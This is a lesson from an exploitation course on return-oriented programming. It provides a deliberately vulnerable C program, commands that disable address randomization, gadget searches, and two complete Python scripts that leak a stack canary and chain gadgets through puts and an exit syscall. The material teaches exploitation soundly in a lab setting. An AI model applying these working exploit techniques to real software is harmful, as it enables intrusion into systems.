Skip to content
Courses

Return-Oriented Programming

MitigationsLesson 5 of 775 minutesLessonNo lab next

Returning into libc let us borrow something the program already knew how to do. We treated each function as a complete operation: reach the function with the state it expects, and let it do its work. That is also how we usually think about libraries when writing programs, so it is a fairly comfortable model to start with.

The processor has no particular attachment to that model. Function names and source boundaries help us make sense of the instructions, but they don’t turn each function into a sealed box. A short sequence inside a function can have a useful effect of its own, regardless of what the surrounding function was written to accomplish.

That is the step from whole-function reuse to return-oriented programming, or ROP: composing behavior from short sequences of existing instructions connected by returns. These sequences are commonly called gadgets. Hovav Shacham’s 2007 paper, The Geometry of Innocent Flesh on the Bone, develops this distinction using instruction sequences rather than complete library calls as its building blocks. The intuition for this is explained incredibly well by Shacham in the paper:

To understand how there exist code sequences in libc that were not placed there by the compiler, consider an analogy to English. English words vary in length, and there is no particular position on the page where a word must end and another start. Intel x86 code is like English written without punctuation or spaces, so that the words all run together. The processor knows where to start reading and, continuing forward, is able to recover the individual words and make out the sentence, as it were. At the same time, one can make out more words on the page than were intentionally placed there. Some words will be suffixes of other words, as “dress” is a suffix of “address”; others will consist of the end of one word and the beginning of the next, as “head” can be found in “the address”; and so on.

The code still comes from executable memory already present in the process. What changes is how much of that code we treat as one operation, and how those operations fit together.

The example program, incident, holds a roster string in memory. Its ordinary path never prints that string. A short instruction sequence prepares an argument for puts, the library function that prints a string; the roster appears, then the process faults.

Create a fresh working directory and move into it:

Terminal window
mkdir -p ~/underdunn-course/rop ~/underdunn-course/notes
cd ~/underdunn-course/rop

Save this complete program as incident.c:

#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/* Filled in at run time by unseal(). Nothing here holds it at rest. */
char roster[64];
static const unsigned char sealed[] = {
0x75, 0x52, 0x5c, 0x53, 0x4f, 0x1b, 0x49, 0x54,
0x48, 0x4f, 0x5e, 0x49, 0x01, 0x1b, 0x4f, 0x53,
0x49, 0x5e, 0x5e, 0x1b, 0x5e, 0x55, 0x5c, 0x52,
0x55, 0x5e, 0x5e, 0x49, 0x48, 0x1b, 0x54, 0x55,
0x1b, 0x48, 0x52, 0x4f, 0x5e, 0x15,
};
static void session(void)
{
char note[256] = {0};
puts("Note:");
read(0, note, 265);
printf("Filed: %s\n", note);
puts("Revise?");
read(0, note, 512);
printf("Filed: %s\n", note);
}
static void unseal(void)
{
for (size_t i = 0; i < sizeof sealed; i++)
roster[i] = (char)(sealed[i] ^ 0x3b);
}
static void banner(unsigned form)
{
if (form == 0x01c35f4eu)
puts("Incident desk.");
else
puts("Incident desk (unrecognised form).");
}
int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
unseal();
banner(0x01c35f4eu);
session();
puts("Desk closed.");
return 0;
}

This is the complete target from the previous lesson so the exercise can be built on its own. unseal reverses a simple XOR so the roster is not stored as readable text, and setvbuf keeps each prompt visible to the solver. Neither is a mitigation. The unusual form number deliberately places the first gadget’s bytes in the program; this lesson will unpack that choice below.

Build it with the same options used for the records on this page:

Terminal window
gcc -g -O0 -fno-omit-frame-pointer -no-pie incident.c -o incident
sudo sysctl -w kernel.randomize_va_space=0

Save this complete solver as chain.py:

import os
import subprocess
import sys
from struct import pack, unpack
if len(sys.argv) != 5:
raise SystemExit("usage: python3 chain.py TARGET POP_RDI ROSTER PUTS")
target = sys.argv[1]
pop_rdi, roster, puts = (int(value, 0) for value in sys.argv[2:])
def read_until(stream, marker):
data = bytearray()
while marker not in data:
chunk = os.read(stream.fileno(), 4096)
if not chunk:
raise RuntimeError(f"process ended before {marker!r}")
data.extend(chunk)
return bytes(data)
p = subprocess.Popen([target], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
read_until(p.stdout, b"Note:\n")
p.stdin.write(b"A" * 265)
p.stdin.flush()
leak = read_until(p.stdout, b"Revise?\n")
body = leak.split(b"Filed: ", 1)[1]
canary = unpack("<Q", b"\x00" + body[265:272])[0]
payload = (b"B" * 264 + pack("<Q", canary) + b"C" * 8
+ pack("<Q", pop_rdi) + pack("<Q", roster) + pack("<Q", puts))
p.stdin.write(payload)
p.stdin.close()
output = p.stdout.read()
status = p.wait()
tail = next(
(line for line in output.splitlines() if b"Night roster:" in line),
b"not printed",
)
print(f"canary {canary:016x} chain {len(payload)} bytes")
print("output tail:", tail.decode(errors="replace"))
print("status:", status)

The recorded invocation uses the three addresses shown and derived later on this page. Run it now to see the chain’s effect; the following sections account for where each value came from:

Terminal window
python3 chain.py ./incident 0x401408 0x404060 0x401080
canary 002935d1c971a5f8 chain 304 bytes
output tail: Night roster: three engineers on site.
status: -11

The first 280 bytes reach the return slot. The final three stack values are the gadget, the value it pops into rdi, and the destination reached by its ret.

The stack contains two kinds of values:

  • Code destinations identify existing instructions to execute.
  • Argument data supplies a value those instructions consume.

That is why reading every slot as a return address gives the wrong picture. The instruction doing the reading determines what the value means.

Three stack values become two code addresses and an argument

Each slot is eight bytes. Slot 0 is the overwritten return slot, at offset 280 from note. Consumed slots stay visible so you can trace where each value went.

session: ret

Stack slots · higher addresses at the top

Beyond supplied chainslot 3 · note + 304

Not supplied by this payload

Argument · rosterslot 1 · note + 288

0x404060

Live registers

rip
session: ret
rsp
note + 280 · slot 0
rdi
Previous value

No output yet.

Follow rsp: the first ret selects the gadget, pop rdi takes its argument, and the next ret selects puts.

Blue underlines mark changed values; dashed outlines mark current sources or destinations. Byte addresses increase left to right. Unshown values are omitted, not zero.

Use the diagram to follow the supplied sequence, keeping the two pointers separate:

  • rip identifies the current instruction in executable memory.
  • rsp identifies the current stack position. As instructions consume stack values, that position changes.

The stack helps determine what happens next, but it hasn’t turned into executable code. rsp does not replace rip, and each still has its ordinary job.

The printing function is part of this sequence too. Reusing whole functions and composing smaller pieces can happen in the same execution.

Where did that short sequence come from? The ordinary disassembly doesn’t show it as a separate operation, which seems rather inconvenient until we look at how x86 instructions are decoded.

Shacham’s paper compares x86 code to English with its spaces and punctuation removed. Other words can hide across the intended boundaries: “dress” appears inside “address”.

Instructions on x86 vary in length, so decoding from a byte inside one instruction can produce a different instruction stream. The bytes haven’t changed, only the starting point.

The original investigation searched the binary’s .text section, the part that holds executable code, and then disassembled the matching address:

Terminal window
objdump -s -j .text ./incident | grep '5fc3\|5f c3'
(gdb) x/2i 0x401408
0x401408 <banner+19>: pop rdi
0x401409 <banner+20>: ret

The ordinary listing shows those bytes inside a comparison:

Terminal window
objdump -d -Mintel ./incident | grep -m1 '4e 5f c3 01'
401404: 81 7d fc 4e 5f c3 01 cmp DWORD PTR [rbp-0x4],0x1c35f4e

Both listings describe the same bytes, but one starts at the comparison and the other starts inside its constant.

The second sequence’s effect has nothing to do with the form-number check that contains it. This is one source of gadgets, not a requirement that every gadget begin inside another instruction.

ROPgadget searches for instruction sequences automatically. The supplied tool record agrees with the manual decoding:

Terminal window
sudo apt install python3-ropgadget
ROPgadget --binary ./incident --only 'pop|ret'
0x0000000000401408 : pop rdi ; ret

That agreement identifies a sequence in this binary. It doesn’t establish that every sequence the tool lists is useful, or that the surrounding program will reach one with the state it needs.

The distinction matters when a search returns nothing. In the recorded program, these searches found no matching results:

Terminal window
for g in 'pop rax' 'pop rsi' 'pop rdx' syscall; do
printf '%-10s %s\n' "$g" "$(ROPgadget --binary ./incident | grep -c "$g")"
done

The loop runs the same search for four instruction names, and grep -c reports how many matching lines each search produced.

pop rax 0
pop rsi 0
pop rdx 0
syscall 0

Those are results for these searches on this build. They aren’t proof that every possible way of changing a register is absent.

The loaded library has its own instruction sequences. These are the relevant excerpts from the supplied libc search:

Terminal window
ROPgadget --binary /usr/lib/x86_64-linux-gnu/libc.so.6 --only 'pop|ret' | grep ' pop rax ; ret$'
ROPgadget --binary /usr/lib/x86_64-linux-gnu/libc.so.6 | grep ': syscall$'
0x00000000000dd337 : pop rax ; ret
0x00000000000288b5 : syscall

The disassembly checks one of those results against the file:

Terminal window
objdump -d --start-address=0xdd337 --stop-address=0xdd33a -Mintel \
/usr/lib/x86_64-linux-gnu/libc.so.6
dd337: 58 pop rax
dd338: c3 ret

The numbers here are relative to the library’s load base, not complete runtime addresses. Keep two things separate:

  • The offset belongs to the particular library image.
  • The base tells us where that image was loaded for a run.

We’ve been following where the instructions come from and how execution moves between them. A system call answers a different question: when does the program ask the kernel to do something?

  • ROP describes how existing instruction sequences are composed.
  • A system call is an interface through which user-space code requests a kernel service.

Those descriptions can apply to the same execution, but neither means the other. An ordinary program can make system calls without ROP, and a ROP sequence can manipulate user-space state without reaching a system-call instruction.

The exit-status example gives us a familiar result to interpret. We met that result in Writing Payloads in Assembly; now the supplied execution reaches it using existing code.

On Linux x86-64, rax carries the system-call number and rdi carries its first argument. The chain therefore puts 60 in rax to request exit and 42 in rdi for the status.

A direct system call isn’t the only way a program can finish normally (an ordinary library interface can provide that behavior too). It is the particular kernel interface used in this record.

The earlier library search found a syscall instruction. A separate search reported no exact syscall ; ret matches:

Terminal window
ROPgadget --binary /usr/lib/x86_64-linux-gnu/libc.so.6 | grep -c 'syscall ; ret$'
0

Here is the relevant disassembly:

288b5: 0f 05 syscall
288b7: 8b 05 a3 d2 1d 00 mov eax,DWORD PTR [rip+0x1dd2a3]

The next instruction is mov, not ret. If a system call returns to user space at this location, execution continues with that instruction. There is no immediate return to the next stack-supplied destination.

That is a property of the shown sequence, not a rule that ROP can make only one system call. Nor does a missing search pattern prove that no longer sequence could continue differently.

The supplied example uses an exit operation, so successful execution doesn’t need to continue beyond that call.

With address randomization still disabled, the library returns to the same base between runs. Measure that base before using any offsets from the library.

The recorded mapping was collected from a waiting process:

Terminal window
./incident < <(sleep 5) &
target_pid=$!
grep 'libc.so.6' /proc/$target_pid/maps | head -1
kill $target_pid
wait $target_pid 2>/dev/null

The process substitution <(sleep 5) keeps standard input open long enough to inspect the target. $! is the process ID of the background command, and /proc/PID/maps lists that live process’s mappings. kill and wait then clean up the process rather than leaving it behind.

7ffff7c00000-7ffff7c28000 r--p 00000000 08:20 5507 /usr/lib/x86_64-linux-gnu/libc.so.6

The fourth column is the mapping’s offset within the library file. Choose the row whose offset is 00000000; the left edge of that row is the library base used in the following example. Check the value from your VM and use it with the matching library offsets.

The supplied second-stage excerpt mixes the program’s code with library code:

POP_RDI = 0x401408 # in the program, inside a cmp
ROSTER = 0x404060 # in the program
PUTS = 0x401080 # in the program
POP_RAX = LIBC + 0xdd337 # in the library
SYSCALL = LIBC + 0x288b5 # in the library
chain = b"".join(pack("<Q", v) for v in (
POP_RDI, ROSTER, PUTS, # print the roster, and come back
POP_RAX, 60, # rax = 60, which is exit
POP_RDI, 42, # rdi = 42, the status
SYSCALL, # and this one does not come back
))

Save the complete version as syscall_chain.py:

import os
import subprocess
import sys
from struct import pack, unpack
if len(sys.argv) != 3:
raise SystemExit("usage: python3 syscall_chain.py TARGET LIBC_BASE")
target = sys.argv[1]
libc = int(sys.argv[2], 0)
POP_RDI = 0x401408
ROSTER = 0x404060
PUTS = 0x401080
OFF_POP_RAX = 0xdd337
OFF_SYSCALL = 0x288b5
def read_until(stream, marker):
data = bytearray()
while marker not in data:
chunk = os.read(stream.fileno(), 4096)
if not chunk:
raise RuntimeError(f"process ended before {marker!r}")
data.extend(chunk)
return bytes(data)
p = subprocess.Popen([target], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
read_until(p.stdout, b"Note:\n")
p.stdin.write(b"A" * 265)
p.stdin.flush()
leak = read_until(p.stdout, b"Revise?\n")
body = leak.split(b"Filed: ", 1)[1]
canary = unpack("<Q", b"\x00" + body[265:272])[0]
chain = b"".join(pack("<Q", value) for value in (
POP_RDI, ROSTER, PUTS,
libc + OFF_POP_RAX, 60,
POP_RDI, 42,
libc + OFF_SYSCALL,
))
payload = b"B" * 264 + pack("<Q", canary) + b"C" * 8 + chain
p.stdin.write(payload)
p.stdin.close()
output = p.stdout.read()
status = p.wait()
tail = next(
(line for line in output.splitlines() if b"Night roster:" in line),
b"not printed",
)
print(f"libc base {libc:#x}")
print(f"canary {canary:016x} chain {len(chain)} bytes "
f"({len(chain) // 8} slots) input {len(payload)}")
print("output tail:", tail.decode(errors="replace"))
print("exit status:", status)
Consume the chain, then exit with status 42

Each slot is eight bytes. Slot 0 is the overwritten return slot, at offset 280 from note. Older consumed slots collapse below; their bytes are not erased.

session: ret

Stack slots · higher addresses at the top

Beyond supplied chainslot 8 · note + 344

Not supplied by this payload

Argument · status 42slot 6 · note + 328

0x2a

Argument · syscall 60slot 4 · note + 312

0x3c

Argument · rosterslot 1 · note + 288

0x404060

Live registers

rip
session: ret
rsp
note + 280 · slot 0
rdi
Previous value
rax
Not relied on

No output yet.

ret reads a destination from the stack; pop reads a value into a register. The stack supplies data while the executable and libc supply instructions.

Blue underlines mark changed values; dashed outlines mark current sources or destinations. Byte addresses increase left to right. Unshown values are omitted, not zero.

Run it against the same libc build whose two gadget offsets you checked above:

Terminal window
python3 syscall_chain.py ./incident 0x7ffff7c00000
libc base 0x7ffff7c00000
canary 0072f43672208861 chain 64 bytes (8 slots) input 344
output tail: Night roster: three engineers on site.
exit status: 42

The roster appears again, but this time the recorded exit status is 42 rather than a segmentation fault. The printing behavior and the later exit are both visible.

Compare the instruction source with the earlier assembly example:

  • The assembly payload supplied instructions and required memory from which they could execute.
  • This record uses instructions already present in executable mappings. Its stack values remain data.

So we have the familiar result by a different route, while the non-executable stack still constrains where instructions can come from.

Step through the first diagram and pause at one state where the stack position changes. Identify the current instruction location, the stack position, and the value being consumed.

Then find the boundary in the second diagram where execution requests a kernel service. Explain why the earlier steps were already ROP before reaching that boundary.

Finally, consider a trace with the same return-based composition but no system-call instruction in the portion shown. Would the missing system call change whether that portion is ROP?

Check your reasoning

The pointers describe different parts of the state: rip identifies an instruction, while rsp identifies a stack position. A value read from that stack can be data for an instruction rather than another destination.

The returns connect the reused sequences. Reaching a system-call instruction adds a request to the kernel, but it doesn’t create the ROP that was already happening.

A portion of execution can therefore show return-based composition without showing a system call.

Knowledge check

Question 1 of 3

The stack supplies a value that changes a register, while rip stays in existing executable code. What does that illustrate?

  • If the process faults after printing, notice that order. The output places the failure after the printing behavior, but doesn’t identify the fault’s cause.
  • If the canary check aborts, keep that diagnostic separate from conclusions about later instruction sequences.
  • If a library listing differs, compare library and tool versions before treating it as a contradiction.
  • If a runtime address differs, distinguish a changed load base from changed bytes in the library image.

For recovery, return to the last state established by the supplied trace. Reconcile the instruction location and stack position before interpreting the next transition.

The chain still depends on the library base you measured. We have kept address randomization disabled, so that value remains stable while the lesson concentrates on composing existing instructions.

Knowing that useful code exists in a file is different from knowing where it will be loaded in a running process. The next lesson turns randomization on and deals with that problem directly.